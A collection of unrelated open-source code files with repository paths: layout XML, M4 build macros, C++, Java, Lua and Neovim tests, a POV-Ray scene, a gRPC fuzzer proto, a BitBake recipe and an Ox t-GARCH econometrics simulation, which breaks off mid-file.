X="1.8532" Y="0.2638" /> <PreSize X="0.2188" Y="0.1655" /> <FileData Type="Normal" Path="PokerLayer.csd" Plist="" /> </AbstractNodeData> <AbstractNodeData Name="FileNode_1_7" ActionTag="-1123921027" Tag="83" IconVisible="True" LeftMargin="1265.1040" RightMargin="-765.1040" TopMargin="654.1440" BottomMargin="293.8560" StretchWidthEnable="False" StretchHeightEnable="False" InnerActionSpeed="1.0000" CustomSizeEnabled="False" ctype="ProjectNodeObjectData"> <Size X="140.0000" Y="188.0000" /> <AnchorPoint /> <Position X="1265.1040" Y="293.8560" /> <Scale ScaleX="1.0000" ScaleY="1.0000" /> <CColor A="255" R="255" G="255" B="255" /> <PrePosition X="1.9767" Y="0.2587" /> <PreSize X="0.2188" Y="0.1655" /> <FileData Type="Normal" Path="PokerLayer.csd" Plist="" /> </AbstractNodeData> </Children> </ObjectData> </Content> </Content> </GameFile>

Csound

tony2u/Medusa

Test/Test/Art/Src/Test/cocosstudio/LogoLayer.csd

@page { @top-left {} }

CSS

mengxy/swc

crates/swc_css_parser/tests/fixture/esbuild/misc/kdJ9F7n35563o0T6W1TEXw/input.css

dnl dnl Check for an nm(1) utility. dnl AC_DEFUN([FA_PROG_NM], [ case "${NM-unset}" in unset) AC_CHECK_PROGS(NM, nm, nm) ;; *) AC_CHECK_PROGS(NM, $NM nm, nm) ;; esac AC_MSG_CHECKING(nm flags) case "${NMFLAGS-unset}" in unset) NMFLAGS= ;; esac AC_MSG_RESULT($NMFLAGS) AC_SUBST(NMFLAGS) ])

M4

CyberFlameGO/milvus

internal/core/src/index/thirdparty/faiss/acinclude/fa_prog_nm.m4

/****************************************************************************** * Copyright 2018 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "gtest/gtest.h" #include "modules/perception/common/io/io_util.h" #include "modules/perception/common/perception_gflags.h" #include "modules/perception/lidar/app/lidar_obstacle_detection.h" #include "modules/perception/lidar/app/lidar_obstacle_tracking.h" #include "modules/perception/lidar/common/lidar_error_code.h" // #include "modules/perception/lidar/common/pcl_util.h" namespace apollo { namespace perception { namespace lib { // DECLARE_string(work_root); } namespace lidar { class LidarAppPipelineTest : public testing::Test { protected: void SetUp() { char cyber_path[100] = "CYBER_PATH="; putenv(cyber_path); char module_path[100] = "MODULE_PATH="; putenv(module_path); FLAGS_work_root = "/apollo/modules/perception/testdata/lidar/app"; } void TearDown() {} LidarObstacleDetection segmentation_; LidarObstacleTracking tracking_; }; // class DecisionForestClassifierTest #ifdef PERCEPTION_LIDAR_USE_COMMON_MESSAGE void ToMessage(const base::PointFCloud& cloud, adu::common::sensor::PointCloud* message) { message->set_measurement_time(0.0); for (size_t i = 0; i < cloud.size(); ++i) { const auto& pt = cloud[i]; message->add_point(); message->mutable_point(i)->set_x(pt.x); message->mutable_point(i)->set_y(pt.y); message->mutable_point(i)->set_z(pt.z); message->mutable_point(i)->set_intensity(pt.intensity); message->mutable_point(i)->set_stamp( static_cast<uint64_t>(cloud.points_timestamp(i) * 1e9)); } } #endif /* TEST_F(LidarAppPipelineTest, lidar_app_pipeline_test) { std::string pcd_path = "/apollo/modules/perception/testdata/lidar/app/data/perception/lidar/files/"; std::string pose_path = "modules/perception/testdata/lidar/app/data/perception/lidar/poses/"; std::vector<std::string> pcd_file_names; common::GetFileList(pcd_path, ".pcd", &pcd_file_names); std::string file_name; std::sort(pcd_file_names.begin(), pcd_file_names.end(), [](const std::string& lhs, const std::string& rhs) { if (lhs.length() < rhs.length()) { return true; } else if (lhs.length() == rhs.length()) { return lhs <= rhs; } else { return false; } }); LidarObstacleSegmentationInitOptions segmentation_init_options; LidarObstacleTrackingInitOptions tracking_init_options; EXPECT_TRUE(segmentation_.Init(segmentation_init_options)); EXPECT_TRUE(tracking_.Init(tracking_init_options)); for (size_t i = 0; i < pcd_file_names.size(); ++i) { int frame_id = 0; double timestamp = 0.0; lib::FileUtil::GetFileName(pcd_file_names[i], &file_name); std::shared_ptr<LidarFrame> frame(new LidarFrame); frame->cloud = base::PointFCloudPool::Instance().Get(); EXPECT_TRUE( LoadPCLPCD(pcd_path + "/" + file_name + ".pcd", frame->cloud.get())); EXPECT_TRUE(common::ReadPoseFile(pose_path + "/" + file_name + ".pose", &frame->lidar2world_pose, &frame_id, &timestamp)); frame->timestamp = timestamp; LidarObstacleSegmentationOptions segmentation_options; EXPECT_EQ( segmentation_.Process(segmentation_options, frame.get()).error_code, LidarErrorCode::Succeed); LidarObstacleTrackingOptions tracking_options; EXPECT_EQ(tracking_.Process(tracking_options, frame.get()).error_code, LidarErrorCode::Succeed); } } #ifdef PERCEPTION_LIDAR_USE_COMMON_MESSAGE TEST_F(LidarAppPipelineTest, lidar_app_pipeline_test2) { std::string pcd_path = "./data/perception/lidar/files/"; std::string pose_path = "./data/perception/lidar/poses/"; std::vector<std::string> pcd_file_names; common::GetFileList(pcd_path, ".pcd", &pcd_file_names); std::string file_name; std::sort(pcd_file_names.begin(), pcd_file_names.end(), [](const std::string& lhs, const std::string& rhs) { if (lhs.length() < rhs.length()) { return true; } else if (lhs.length() == rhs.length()) { return lhs <= rhs; } else { return false; } }); LidarObstacleSegmentationInitOptions segmentation_init_options; LidarObstacleTrackingInitOptions tracking_init_options; EXPECT_TRUE(segmentation_.Init(segmentation_init_options)); EXPECT_TRUE(tracking_.Init(tracking_init_options)); for (size_t i = 0; i < pcd_file_names.size(); ++i) { int frame_id = 0; double timestamp = 0.0; lib::FileUtil::GetFileName(pcd_file_names[i], &file_name); std::shared_ptr<LidarFrame> frame(new LidarFrame); frame->cloud = base::PointFCloudPool::Instance().Get(); EXPECT_TRUE( LoadPCLPCD(pcd_path + "/" + file_name + ".pcd", frame->cloud.get())); EXPECT_TRUE(common::ReadPoseFile(pose_path + "/" + file_name + ".pose", &frame->lidar2world_pose, &frame_id, &timestamp)); std::shared_ptr<adu::common::sensor::PointCloud> message( new adu::common::sensor::PointCloud); ToMessage(*frame->cloud, message.get()); frame->timestamp = timestamp; LidarObstacleSegmentationOptions segmentation_options; EXPECT_EQ(segmentation_.Process(segmentation_options, message, frame.get()) .error_code, LidarErrorCode::Succeed); LidarObstacleTrackingOptions tracking_options; EXPECT_EQ(tracking_.Process(tracking_options, frame.get()).error_code, LidarErrorCode::Succeed); } } #endif */ } // namespace lidar } // namespace perception } // namespace apollo

C++

jzjonah/apollo

modules/perception/lidar/app/lidar_app_lidar_pipeline_test.cc

package com.baeldung.encrypt; import org.junit.Test; import javax.crypto.KeyGenerator; import javax.crypto.NoSuchPaddingException; import javax.crypto.SecretKey; import java.io.File; import java.io.IOException; import java.security.InvalidAlgorithmParameterException; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import static org.hamcrest.Matchers.is; import static org.junit.Assert.assertThat; public class FileEncrypterDecrypterIntegrationTest { @Test public void givenStringAndFilename_whenEncryptingIntoFile_andDecryptingFileAgain_thenOriginalStringIsReturned() throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, IOException, InvalidAlgorithmParameterException { String originalContent = "foobar"; SecretKey secretKey = KeyGenerator.getInstance("AES").generateKey(); FileEncrypterDecrypter fileEncrypterDecrypter = new FileEncrypterDecrypter(secretKey, "AES/CBC/PKCS5Padding"); fileEncrypterDecrypter.encrypt(originalContent, "baz.enc"); String decryptedContent = fileEncrypterDecrypter.decrypt("baz.enc"); assertThat(decryptedContent, is(originalContent)); new File("baz.enc").delete(); // cleanup } }

Java

zeesh49/tutorials

core-java/src/test/java/com/baeldung/encrypt/FileEncrypterDecrypterIntegrationTest.java

-- Tests for errorformat. local helpers = require('test.functional.helpers')(after_each) local clear = helpers.clear local command, expect = helpers.command, helpers.expect describe('errorformat', function() setup(clear) it('is working', function() command("set efm=%EEEE%m,%WWWW%m,%+CCCC%.%#,%-GGGG%.%#") command("cgetexpr ['WWWW', 'EEEE', 'CCCC']") command("$put =strtrans(string(map(getqflist(), '[v:val.text, v:val.valid]')))") command("cgetexpr ['WWWW', 'GGGG', 'EEEE', 'CCCC']") command("$put =strtrans(string(map(getqflist(), '[v:val.text, v:val.valid]')))") command("cgetexpr ['WWWW', 'GGGG', 'ZZZZ', 'EEEE', 'CCCC', 'YYYY']") command("$put =strtrans(string(map(getqflist(), '[v:val.text, v:val.valid]')))") expect([=[ [['W', 1], ['E^@CCCC', 1]] [['W', 1], ['E^@CCCC', 1]] [['W', 1], ['ZZZZ', 0], ['E^@CCCC', 1], ['YYYY', 0]]]=]) end) end)

Lua

uga-rosa/neovim

test/functional/legacy/106_errorformat_spec.lua

#include "colors.inc" #include "textures.inc" camera { location <3, 0.7, -4> look_at <1.5, 0.7, 0> } // Two light sources almost at the same position light_source { <5, 9, -2> color Gray60 } light_source { <5, 9, -2.1> color Gray60 } // Front wall box { <0, 0, 0> <10, 10, 1> pigment { color rgb <1.0, 0.71, 0.76> } finish { phong 0.1 } } // Left wall box { <0, 10, 0> <-1, 0, -10> pigment { color rgb <1.0, 0.71, 0.76> } finish { phong 0.1 } } // Right wall box { <10, 10, -10> <11, 0, 0> pigment { color rgb <1.0, 0.71, 0.76> } finish { phong 0.1 } } // Back wall box { <10, 10, -10> <-1, 0, -10> pigment { color rgb <1.0, 0.71, 0.76> } finish { phong 0.1 } } // Back wall door box { <7.5, 0, -10> <9.0, 4, -9.9> pigment { wood color_map { [0.7 color rgb <0.94, 0.74, 0.34>] [0.9 color rgb <0.89, 0.69, 0.29>] } translate <1.2, 0.5, 0> } finish { phong 0.2 } } // Door knob sphere { <7.7, 2, -9.85>, 0.1 pigment { color rgb <0.99, 0.82, 0.09> } finish { phong 0.8 reflection 0.8 } } // Floor box { <0, 0, 0> <10, -1, -10> pigment { checker color rgb <1.0, 0.5, 0.6> color rgb <1.0, 0.7, 0.8> } finish { phong 0.4 reflection 0.2 } } // Ceiling box { <0, 10, 0> <10, 15, -10> pigment { color rgb <1.0, 1.0, 1.0> } } // Mirror frame box { <1, 0.2, 0> <4.5, 4.2, -0.1> pigment { wood color_map { [0.2 color rgb <0.94, 0.74, 0.34>] [0.3 color rgb <0.89, 0.69, 0.29>] [0.6 color rgb <0.39, 0.23, 0.06>] [0.9 color rgb <0.72, 0.32, 0.12>] } translate <1.2, 0.5, 0> } finish { phong 0.2 } } // Mirror box { <1.1, 0.3, -0.1> <4.4, 4.1, -0.11> pigment { color rgb <1.0, 1.0, 1.0> } finish { reflection 1.0 ambient 0 diffuse 0 } } // Pine wood block box { <1.2, 0, -1.2> <1.7, 0.5, -1.7> texture { Pine_Wood } } // Ruby glass ball sphere { <1.45, 0.8, -1.45>, 0.3 texture { Ruby_Glass } } // White marble ball sphere { <1.5, 0.22, -2.4>, 0.22 texture { White_Marble } } // Agate sphere { <2.0, 0.12, -2.4>, 0.12 texture { Brown_Agate } } // Blue Agate sphere { <2.4, 0.15, -2.6>, 0.15 texture { Blue_Agate } } // Granite ball sphere { <2.1, 0.2, -1>, 0.2 texture { Pink_Granite } } // Aluminium ball sphere { <2.7, 0.25, -2.1>, 0.25 texture { Aluminum } } // Red marble ball sphere { <3.2, 0.3, -1.5>, 0.3 texture { Red_Marble } }

POV-Ray SDL

spcask/pov-ray-tracing

src/scene07.pov

hits = load '$INPUT' using com.twitter.elephantbird.pig.PigLuceneIndexingIntegrationTest\$Loader('--file', '$QUERY_FILE'); store hits into '$OUTPUT' using PigStorage('\t');

PigLatin

bcoverston/elephant-bird

pig-lucene/src/test/resources/com/twitter/elephantbird/pig/search_file.pig

dnl Copyright (c) Facebook, Inc. and its affiliates. dnl dnl This source code is licensed under the MIT license found in the dnl LICENSE file in the root directory of this source tree. dnl AC_ASSERT_OCAML_PKG([pkg_name], [pkg_version]) dnl dnl fails if $pkg_name is not installed; also fails if it is not dnl installed at version $pkg_version if specified dnl dnl assumes that AC_PROG_FINDLIB has been called AC_DEFUN([AC_ASSERT_OCAML_PKG], [dnl AC_CHECK_OCAML_PKG_PATH([$1], [$2], [$3]) unset has_pkg unset pkg unset version AS_IF([test "$OCAMLFIND" = "no"], [dnl # trick to detect if ocamlfind is correctly installed and give the # right opam instructions to install it if not since they're the # same as when any other opam package is missing. has_pkg=no pkg=ocamlfind version= ], [dnl has_pkg=$AS_TR_SH[OCAML_PKG_$1] pkg=$1 version= AS_IF([test "x$3" != "x"], [dnl version=" version $3" ]) ]) AS_IF([test "$has_pkg" = "no"], [dnl AC_MSG_ERROR([missing OCaml dependency: $pkg$version If you are using opam, please run opam update opam install --deps-only opam/infer.opam]) ]) ])

M4

livinlife6751/infer

m4/ac_assert_ocaml_pkg.m4

-- data structures & static data import concat, remove, insert from table Set = (items) -> {k,true for k in *items} class Stack __tostring: => "<Stack {"..concat(self, ", ").."}>" new: (...) => @push ... nil pop: => remove @ push: (value, ...) => insert @, value if ... @push ... else value top: => self[#self] lua_keywords = Set { 'and', 'break', 'do', 'else', 'elseif', 'end', 'false', 'for', 'function', 'if', 'in', 'local', 'nil', 'not', 'or', 'repeat', 'return', 'then', 'true', 'until', 'while' } { :Set, :Stack, :lua_keywords }

MoonScript

Shados/moonscript

moonscript/data.moon

// Copyright 2021 gRPC authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. syntax = "proto3"; package memory_quota_fuzzer; message Empty {} message Reclaimer { enum Pass { BENIGN = 0; IDLE = 1; DESTRUCTIVE = 2; } bool synchronous = 1; Pass pass = 2; Msg msg = 3; } message AllocationRequest { uint32 min = 1; uint32 max = 2; } message Action { int32 quota = 1; int32 allocator = 2; int32 allocation = 3; oneof action_type { Empty flush_exec_ctx = 7; Empty create_quota = 10; Empty delete_quota = 11; Empty create_allocator = 12; Empty delete_allocator = 13; uint64 set_quota_size = 14; Empty rebind_quota = 15; AllocationRequest create_allocation = 16; Empty delete_allocation = 17; Reclaimer post_reclaimer = 18; } } message Msg { repeated Action actions = 2; }

Protocol Buffer

goodarzysepideh/grpc

test/core/resource_quota/memory_quota_fuzzer.proto

package com.baeldung.concurrent; import static org.openjdk.jcstress.annotations.Expect.ACCEPTABLE; import static org.openjdk.jcstress.annotations.Expect.ACCEPTABLE_INTERESTING; import org.openjdk.jcstress.annotations.Actor; import org.openjdk.jcstress.annotations.Arbiter; import org.openjdk.jcstress.annotations.JCStressTest; import org.openjdk.jcstress.annotations.Outcome; import org.openjdk.jcstress.annotations.State; import org.openjdk.jcstress.infra.results.I_Result; /** * This is defined as a manual test because it tries to simulate the race conditions * in a concurrent program that is poorly designed and hence may fail nondeterministically. * This will help the CI jobs to ignore these tests and a developer to run them manually. * */ @JCStressTest @Outcome(id = "1", expect = ACCEPTABLE_INTERESTING, desc = "One update lost.") @Outcome(id = "2", expect = ACCEPTABLE, desc = "Both updates.") @State public class MyCounterJCStressManualTest { private MyCounter counter; @Actor public void actor1() { counter.increment(); } @Actor public void actor2() { counter.increment(); } @Arbiter public void arbiter(I_Result r) { r.r1 = counter.getCount(); } }

Java

DBatOWL/tutorials

core-java-modules/core-java-concurrency-2/src/test/java/com/baeldung/concurrent/MyCounterJCStressManualTest.java

include upx.inc UPX_BRANCH = "devel" SRCREV = "f88b85e12660e9fdb453bbb2380107b741ce4179" SRC_URI = " \ git://github.com/upx/upx.git;branch=${UPX_BRANCH} \ file://0001-Include-lzma-sdk.patch" S = "${WORKDIR}/git" DEFAULT_PREFERENCE = "-1"

BitBake

dtischler/px30-test

layers/meta-balena/meta-balena-common/recipes-core/upx/upx_git.bb

/* ** Case Study Financial Econometrics 4.3 ** ** Purpose: ** Estimate all Student's t-GARCH model parameters (gamma, nu, omega, A and B) ** ** Date: ** 16/01/2015 ** ** Author: ** Tamer Dilaver, Koen de Man & Sina Zolnoor ** ** Supervisor: ** L.F. Hoogerheide & S.J. Koopman ** */ #include <oxstd.h> #include <oxdraw.h> #include <oxprob.h> #include <maximize.h> #import <modelbase> #import <simula> #include <oxfloat.h> static decl iB; //Repeats static decl iSIZE; //Size of time series static decl iSTEPS; //#Steps to divide the size static decl iSIMS; //# of Zt ~ N(0,1) static decl dLAMBDA; //Degrees of freedom static decl dALPHA; static decl dBETA; static decl dOMEGA; static decl dGAMMA; //Initialised Variance static decl vSTD_STUDENT_T; // Zt ~ TID(lambda) static decl s_vY; //Simulated returns static decl iSTD_ERROR; //0 or 1 binary /* ** Function: Simulate t-GARCH returns for given parameters ** ** Input: dAlpha, dBeta, dOmega, dGamma, dLambda, avReturns, iIteration [to get different Zt's] ** ** Output: 1 ** */ fSim_t_GARCH(const dAlpha, const dBeta, const dOmega, const dGamma, const dLambda, const avReturns, const iIteration){ decl vTemp, vH; vTemp = vH = zeros(iSIZE+1, 1); vH[0]= dGamma; //by definition for(decl i = 0; i < iSIZE; i++){ vTemp[i] = sqrt(vH[i])*vSTD_STUDENT_T[(i + (iIteration*iSIZE))]; vH[i+1] = dOmega + dBeta*vH[i] + dAlpha*sqr(vTemp[i]) ; } vTemp = dropr(vTemp,iSIZE); vH = dropr(vH,iSIZE); avReturns[0] = vTemp; return 1; } /* ** Function: Transform (start)parameters ** ** Input: vTheta [parametervalues] ** ** Output: vThetaStar */ fTransform(const avThetaStar, const vTheta){ avThetaStar[0]= vTheta; avThetaStar[0][0] = log(vTheta[0]/(1-vTheta[0]-vTheta[1])); avThetaStar[0][1] = log(vTheta[1]/(1-vTheta[0]-vTheta[1])); avThetaStar[0][2] = log(vTheta[2]); avThetaStar[0][3] = log(vTheta[3]); avThetaStar[0][4] = log(vTheta[4]-2)-log(100-vTheta[4]); return 1; } /* ** Function: Extract the parameters from vTheta ** ** Input: adAlpha, adBeta, aOmega, adGamma, adLambda, vTheta ** ** Output: 1 */ fGetPars(const adAlpha, const adBeta, const adOmega, const adGamma,const adLambda, const vTheta){ adAlpha[0] = exp(vTheta[0])/(exp(vTheta[0])+exp(vTheta[1])+1); adBeta[0] = exp(vTheta[1])/(exp(vTheta[0])+exp(vTheta[1])+1); adOmega[0] = exp(vTheta[2]); adGamma[0] = exp(vTheta[3]); adLambda[0] = 2+(100-2)*exp(vTheta[4])/(1+exp(vTheta[4])); return 1; } /* ** Function: Calculates average value loglikelihood for t-GARCH given parameter values ** ** Input: vTheta [parametervalues], adFunc [adres functievalue], avScore [the score], amHessian [hessianmatrix] ** ** Output: 1 ** */ fLogLike_t_GARCH(const vTheta, const adFunc, const avScore, const amHessian){ decl dAlpha, dBeta, dOmega, dGamma, dLambda; fGetPars( &dAlpha, &dBeta, &dOmega, &dGamma, &dLambda, vTheta); decl dS2 = dGamma; //initial condition by definition decl vLogEta = zeros(sizerc(s_vY), 1); //Could be made more efficient by deleting logs for(decl i = 0; i < sizerc(s_vY); ++i){ //likelihood contribution vLogEta[i] = -1/2*log(M_PI)-1/2*log(dLambda-2) -1/2*log(dS2) -log(gammafact(dLambda/2))+log(gammafact((dLambda+1)/2)) -(dLambda+1)/2*log(1+ s_vY[i]^2 / ((dLambda-2)*dS2)); //GARCH recursion dS2 = dOmega + dBeta * dS2 + dAlpha * s_vY[i]^2; } adFunc[0] = sumc(vLogEta)/sizerc(s_vY); //Average return 1; } /* ** Function: Transform parameters back ** ** Input: vThetaStar ** ** Output: vTheta [parametervalues] */ fTransformBack(const avTheta, const vThetaStar){ avTheta[0] = vThetaStar; avTheta[0][0] = exp(vThetaStar[0])/(exp(vThetaStar[0])+exp(vThetaStar[1])+1); avTheta[0][1] = exp(vThetaStar[1])/(exp(vThetaStar[0])+exp(vThetaStar[1])+1); avTheta[0][2] = exp(vThetaStar[2]); avTheta[0][3] = exp(vThetaStar[3]); avTheta[0][4] = 2+(100-2)*exp(vThetaStar[4])/(1+exp(vThetaStar[4])); //actually need to restrict dLambda_hat between (2,100) //otherwise there will be no convergence for small samples that occur Gaussian return 1; } /* ** Function: calculate standard errors ** ** Input: vThetaStar ** ** Output: vStdErrors */ fSigmaStdError(const vThetaStar){ decl iN, mHessian, mHess, mJacobian, vStdErrors, vP; iN = sizerc(s_vY); //number of observations Num2Derivative(fLogLike_t_GARCH, vThetaStar, &mHessian); NumJacobian(fTransformBack, vThetaStar, &mJacobian); //numerical Jacobian mHessian = mJacobian*invert(-iN*mHessian)*mJacobian'; vStdErrors = sqrt(diagonal(mHessian)'); return vStdErrors; } /* ** Function: Estimate t-GARCH parameters ** ** Input: vReturns, adAlpha_hat, adBeta_hat, adOmega_hat, adGamma_hat, adLambda_hat (dBeta_0 not necessary) ** ** Output: vTheta [estimated parametervalues] */ fEstimate_t_GARCH(const vReturns, const adAlpha_hat, const adBeta_hat, const adOmega_hat, const adGamma_hat, const adLambda_hat){ //initialise parametervalues decl vTheta = zeros(5,1); vTheta = <0.1 ; 0.89 ; 0.05 ; 5; 7>; // Alpha, Beta, Omega, Gamma, Lambda starting values decl vThetaStart = vTheta; //globalalize returns and vectorize true pars s_vY = vReturns; //transform parameters decl vThetaStar; fTransform(&vThetaStar, vTheta); //Maximize the LL decl dFunc; decl iA; iA=MaxBFGS(fLogLike_t_GARCH, &vThetaStar, &dFunc, 0, TRUE); //Transform thetasStar back fTransformBack(&vTheta, vThetaStar); //return alpha, beta, omega, gamma and lambda adAlpha_hat[0] = vTheta[0]; adBeta_hat[0] = vTheta[1]; adOmega_hat[0] = vTheta[2]; adGamma_hat[0] = vTheta[3]; adLambda_hat[0] = vTheta[4]; if(iSTD_ERROR){ //only do this for fMonteCarlo2 decl vSigmaStdError = fSigmaStdError(vThetaStar); return vSigmaStdError; }else{ return 1; //otherwise end function by returning 1 } } /* ** Function: Simulates and Estimates t-GARCH data and parameters many times ** to illustrate Asymptotic normality ** ** Input: amMonteCarlo [matrix of many estimated parameters], dBeta_0; ** ** Output: 1 */ fMonteCarlo(const amMonteCarlo){ decl mTemp; mTemp = zeros(iB,5); for(decl i = 0; i<iB ; i++){ decl vReturns; fSim_t_GARCH(dALPHA, dBETA, dOMEGA, dGAMMA, dLAMBDA, &vReturns, i); decl dAlpha_hat, dBeta_hat, dOmega_hat, dGamma_hat, dLambda_hat; fEstimate_t_GARCH(vReturns, &dAlpha_hat, &dBeta_hat, &dOmega_hat, &dGamma_hat, &dLambda_hat); //Omega, Gamma and lambda also estimated mTemp[i][0] = dAlpha_hat; mTemp[i][1] = dBeta_hat; mTemp[i][2] = dOmega_hat; mTemp[i][3] = dGamma_hat; mTemp[i][4] = dLambda_hat; } amMonteCarlo[0] = mTemp; return 1; } /* ** Function: Simulated and Estimates t-GARCH data and parameters many times ** to illustrate consistency it returns minimum, mean and maximum values for the estimated parameters ** ** Input: amAlpha [matrix containing the min, max and mean of estimated alpha], ** amBeta [matrix containing the min, max and mean of estimated beta], ** amOmega [matrix containing the min, max and mean of estimated omega], ** amGamma [matrix containing the min, max and mean of estimated gamma], ** amLambda [matrix containing the min, max and mean of estimated lambda], dBETA ** ** Output: 1 */ fMonteCarlo2(const amAlpha, const amBeta, const amOmega, const amGamma, const amLambda, const amAlpha2, const amBeta2, const amOmega2, const amGamma2, const amLambda2){ decl mTemp, mTempAlpha, mTempBeta, mTempOmega, mTempGamma, mTempLambda; decl mTemp2, mTempAlpha2, mTempBeta2, mTempOmega2, mTempGamma2, mTempLambda2; mTempAlpha = mTempBeta = mTempOmega = mTempGamma = mTempLambda = zeros((iSIZE/iSTEPS),3); mTempAlpha2 = mTempBeta2 = mTempOmega2 = mTempGamma2 = mTempLambda2 = zeros((iSIZE/iSTEPS),3); mTemp = mTemp2 = zeros(iB,5); decl iSize = iSIZE; for(decl j = 0; j<(iSize/iSTEPS) ; j++){ iSIZE = ((iSTEPS)*(j+1)); for(decl i = 0; i<iB ; i++){ decl vReturns; fSim_t_GARCH(dALPHA, dBETA, dOMEGA, dGAMMA, dLAMBDA, &vReturns, i); decl dAlpha_hat, dBeta_hat, dOmega_hat, dGamma_hat, dLambda_hat, vSE; vSE = fEstimate_t_GARCH(vReturns, &dAlpha_hat, &dBeta_hat, &dOmega_hat, &dGamma_hat, &dLambda_hat); //Omega, Gamma and Lambda also estimated mTemp[i][0] = sqrt(iSIZE)*(dAlpha_hat - dALPHA); //SQRT(T)*(\hat_\alpha_T - \alpha_0) ~ N(0, \SIGMA) mTemp[i][1] = sqrt(iSIZE)*(dBeta_hat - dBETA); mTemp[i][2] = sqrt(iSIZE)*(dOmega_hat - dOMEGA); mTemp[i][3] = sqrt(iSIZE)*(dGamma_hat - dGAMMA); mTemp[i][4] = sqrt(iSIZE)*(dLambda_hat - dLAMBDA); //2nd part mTemp2[i][0] = (dAlpha_hat-dALPHA)/vSE[0]; //(\hat_\alpha_T - \alpha_0)/SE(\hat_\alpha) ~ N(0, 1) mTemp2[i][1] = (dBeta_hat-dBETA)/vSE[1]; mTemp2[i][2] = (dOmega_hat-dOMEGA)/vSE[2]; mTemp2[i][3] = (dGamma_hat-dGAMMA)/vSE[3]; mTemp2[i][4] = (dLambda_hat - dLAMBDA)/vSE[4]; } // v0.025_quantile, vMean, v0.975_quantile --> we get 95%-intervals mTempAlpha[j][0] = quantilec(mTemp[][],0.025)'[0]; mTempAlpha[j][1] = meanc(mTemp[][])'[0]; mTempAlpha[j][2] = quantilec(mTemp[][],0.975)'[0]; mTempBeta[j][0] = quantilec(mTemp[][],0.025)'[1]; mTempBeta[j][1] = meanc(mTemp[][])'[1]; mTempBeta[j][2] = quantilec(mTemp[][],0.975)'[1]; mTempOmega[j][0] = quantilec(mTemp[][],0.025)'[2]; mTempOmega[j][1] = meanc(mTemp[][])'[2]; mTempOmega[j][2] = quantilec(mTemp[][],0.975)'[2]; mTempGamma[j][0] = quantilec(mTemp[][],0.025)'[3]; mTempGamma[j][1] = meanc(mTemp[][])'[3]; mTempGamma[j][2] = quantilec(mTemp[][],0.975)'[3]; mTempLambda[j][0] = quantilec(mTemp[][],0.025)'[4]; mTempLambda[j][1] = meanc(mTemp[][])'[4]; mTempLambda[j][2] = quantilec(mTemp[][],0.975)'[4]; //2nd part: v0.025_quantile, v0.5_quantile, v0.975_quantile; mTempAlpha2[j][0] = quantilec(mTemp2[][],0.025)'[0]; mTempAlpha2[j][1] = quantilec(mTemp2[][],0.5)'[0]; //deletec() mTempAlpha2[j][2] = quantilec(mTemp2[][],0.975)'[0]; mTempBeta2[j][0] = quantilec(mTemp2[][],0.025)'[1]; mTempBeta2[j][1] = quantilec(mTemp2[][],0.5)'[1]; mTempBeta2[j][2] = quantilec(mTemp2[][],0.975)'[1]; mTempOmega2[j][0] = quantilec(mTemp2[][],0.025)'[2]; mTempOmega2[j][1] = quantilec(mTemp2[][],0.5)'[2]; mTempOmega2[j][2] = quantilec(mTemp2[][],0.975)'[2]; mTempGamma2[j][0] = quantilec(mTemp2[][],0.025)'[3]; mTempGamma2[j][1] = quantilec(mTemp2[][],0.5)'[3]; mTempGamma2[j][2] = quantilec(mTemp2[][],0.975)'[3]; mTempLambda2[j][0] = quantilec(mTemp2[][],0.025)'[4]; mTempLambda2[j][1] = quantilec(mTemp2[][],0.5)'[4]; mTempLambda2[j][2] = quantilec(mTemp2[][],0.975)'[4]; } amAlpha[0] = mTempAlpha; amBeta[0] = mTempBeta; amOmega[0] = mTempOmega; amGamma[0] = mTempGamma; amLambda[0] = mTempLambda; amAlpha2[0] = mTempAlpha2; amBeta2[0] = mTempBeta2; amOmega2[0] = mTempOmega2; amGamma2[0] = mTempGamma2; amLambda2[0]= mTempLambda2; return 1; } /* ** MAIN PROGRAM ** ** Purpose: For a given alpha, omega, gamma and lambda, get beta such that E log(alpha_0 z_t^2 + beta_0) = 0. ** Simulate t-GARCH returns for alpha, omega, gamma, lambda and the found beta many time. ** Estimate t-GARCH parameters alpha, beta, omega, gamma and lambda. ** ** Input: dALPHA, dOMEGA, dGAMMA, dLAMBDA, iB, iSIZE, iSIMS, iSTEPS ** ** Output: Figures */ main() { //SET PARAMETERS dALPHA = 0.1; dBETA = 0.89; dOMEGA = 0.05; dGAMMA = 5; dLAMBDA = 7; ///* //** .................................................................................. //** ASYMPTOTIC NORMALITY //** Get distributions of alpha and beta (to check for asymptotic normality) //**.................................................................................. //*/ //SET # OF SIMULATIONS iB = 500; //5000 possible iSIZE = 5000; //5000 possible iSIMS = iB*iSIZE; vSTD_STUDENT_T = sqrt((dLAMBDA-2)/dLAMBDA)*rant(iSIMS,1, dLAMBDA); //draw standardized student's t distributed iSTD_ERROR = 0; //DO MANY SIMULATIONS AND ESITMATIONS decl mMonteCarlo; fMonteCarlo(&mMonteCarlo); //DRAW GRAPHS SetDrawWindow("CS_SIM_1_asymptotic_normality"); DrawDensity(0, (mMonteCarlo[][0])', {"(i) Density alpha"}); DrawDensity(1, (mMonteCarlo[][1])', {"(ii) Density beta"}); DrawDensity(2, (mMonteCarlo[][2])', {"(iii) Density omega"}); DrawDensity(3, (mMonteCarlo[][3])', {"(iv) Density gamma"}); DrawDensity(4, (mMonteCarlo[][4])', {"(iv) Density lambda"}); ShowDrawWindow(); print("\nFirst Graph Finished at ",time(),"\n"); /* ** .................................................................................. ** CONSISTENCY ** Check consistency for alpha and beta ** .................................................................................. */ //SET # OF SIMULATIONS iB = 100; //100 iSIZE = 10000; //10000 iSIMS = iB*iSIZE; vSTD_STUDENT_T = 